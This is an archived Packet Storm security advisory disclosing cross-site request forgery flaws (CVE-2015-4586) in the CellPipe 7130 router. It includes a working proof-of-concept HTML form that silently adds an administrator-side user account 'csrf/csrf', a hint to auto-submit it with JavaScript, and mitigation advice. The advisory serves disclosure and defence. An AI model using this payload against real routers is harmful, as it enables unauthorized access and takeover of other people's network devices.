exploit the possibilities

CellPipe 7130 Cross Site Request Forgery

CellPipe 7130 Cross Site Request Forgery
Posted Jun 16, 2015
Authored by Dionisia Lerataki

CellPipe 7130 router version 1.0.0.20h.HOL suffers from a cross site request forgery vulnerability.

tags | exploit, csrf
advisories | CVE-2015-4586
MD5 | c24ca4a7fc3cbbb61cceae8db5df40c6

CellPipe 7130 Cross Site Request Forgery

Change Mirror Download
CellPipe Router CSRF vulnerability

Device model : CellPipe 7130 RG 5Ae. M2013 HOL
*Software Version:* : *1.0.0.20h.HOL*
CWE: 352 - https://cwe.mitre.org/data/definitions/352.html
CVE: CVE-2015-4586
Date: 16/06/2015
Discovered by: DiLi


Vulnerability type: Multiple CSRF vulnerabilities in the router's web
interface

CSRF (Cross Site Request Forgery) is an attack which forces an end user to
execute unwanted actions on a web application in which he/she is currently
authenticated. It is currently included in the OWASP Top 10 project.

Exploitation and Impact:

The exploitation of the above vulnerabilities, in addition with a social
engineering
attack, may lead to :

• Unwanted service exposure
• DNS Hijacking
• Disabling wireless security
• User account creation

I have tested the scenario with the user account creation and the proof of
concept is the following:

<html>
<body>
<form action="http://192.168.1.1/password.cmd
<http://192.168.2.1/password.cmd>">
<input type="hidden" name="action" value="add_user" />
<input type="hidden" name="userAdd" value="csrf" />
<input type="hidden" name="pwdAdd" value="csrf" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

If a router administrator executes the above code a user with credentials
(csrf/csrf) will be added.
In our PoC the administrator must press the Submit request but in a real
attack scenario an attacker can implement an auto submit javascript code.

In our case the router IP address is: 192.168.1.1. Of course it can be
exploited with the router's public IP address.

Suggested mitigation:

In order to properly patch the CSRF vulnerability the following measures
have to be
taken:

• Add a randomly generated token associated with the user's session in order
to prevent a CSRF attack. Alternatively a check to the referer header can be
introduced. Although referer headers can be easily spoofed, they can
prevent a CSRF attack of this kind.
Login or Register to add favorites

File Archive:

March 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    19 Files
  • 2
    Mar 2nd
    15 Files
  • 3
    Mar 3rd
    30 Files
  • 4
    Mar 4th
    13 Files
  • 5
    Mar 5th
    10 Files
  • 6
    Mar 6th
    1 Files
  • 7
    Mar 7th
    2 Files
  • 8
    Mar 8th
    19 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    0 Files
  • 12
    Mar 12th
    0 Files
  • 13
    Mar 13th
    0 Files
  • 14
    Mar 14th
    0 Files
  • 15
    Mar 15th
    0 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    0 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    0 Files
  • 21
    Mar 21st
    0 Files
  • 22
    Mar 22nd
    0 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    0 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close